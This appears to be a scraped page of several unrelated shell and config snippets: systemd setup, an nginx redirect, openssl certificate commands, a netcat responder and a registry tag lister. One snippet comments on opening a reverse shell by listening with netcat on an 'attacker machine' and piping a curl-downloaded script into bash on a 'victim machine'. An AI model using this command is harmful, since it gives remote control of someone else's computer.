# Copy files into /usr/local/bin/on-ip-change.sh and /etc/systemd/system/on-ip-change.service
mkdir -p /usr/local/var/on-ip-change/scripts
sudo systemctl enable on-ip-change.service
sudo systemctl start on-ip-change.service
# Add your scripts to /usr/local/var/on-ip-change/scripts
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# apt-get install inotify-tools | |
# watch 'go test .' | |
watch() { while inotifywait --exclude .git -r -qq .; sleep 1; do $@; done } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
while true; do echo -e "HTTP/1.1 200 OK\n\n" | sudo nc -l -p 80 -q 1; done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
upstream redash { | |
server redash:5000; | |
} | |
server { | |
listen 80; | |
location / { | |
return 301 https://$host$request_uri; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
openssl genrsa -out server-ca-key.pem 4096 | |
openssl req -x509 -new -key server-ca-key.pem -days 1825 -out server-ca.pem -subj '/C=US/ST=California/L=Palo Alto/O=Organization/CN=Debug Root CA' | |
openssl genrsa -out server-key.pem 4096 | |
openssl req -subj '/CN=*' -sha256 -new -key server-key.pem -out server.csr | |
echo "subjectAltName = IP:127.0.0.1" > server-extfile.cnf | |
openssl x509 -req -days 1825 -sha256 -in server.csr -CA server-ca.pem -CAkey server-ca-key.pem -CAcreateserial -out server.pem -extfile server-extfile.cnf |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# run `nc -nvl 80` on attacker machine first | |
# run `curl -Ls https://git.io/vXd2N | bash -s <attacker-ip> 80` on victim machine | |
# great commands to run: | |
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg | |
# open /tmp/monkey.jpg | |
# * say hello | |
# * open http://lmgtfy.com/?q=how+to+lock+mac | |
# * ls |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
http://ogp.me/ | |
https://moz.com/blog/meta-data-templates-123 | |
https://search.google.com/structured-data/testing-tool | |
https://developers.facebook.com/tools/debug/og/object - https://developers.facebook.com/docs/reference/opengraph | |
https://cards-dev.twitter.com/validator - https://dev.twitter.com/cards/types | |
https://developers.pinterest.com/tools/url-debugger/ - https://developers.pinterest.com/docs/rich-pins/overview/ | |
https://developer.linkedin.com/docs/share-on-linkedin |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo kextunload -b com.apple.iokit.BroadcomBluetoothHostControllerUSBTransport | |
sudo kextload -b com.apple.iokit.BroadcomBluetoothHostControllerUSBTransport |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl -s https://$URL/v2/_catalog | jq --raw-output ".repositories[]"| while read repo; do echo $repo; curl -s https://$URL/v2/$repo/tags/list | jq "."; done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
dstat --time --load --cpu --mem --disk --net --tcp --udp --unix --blackonwhite |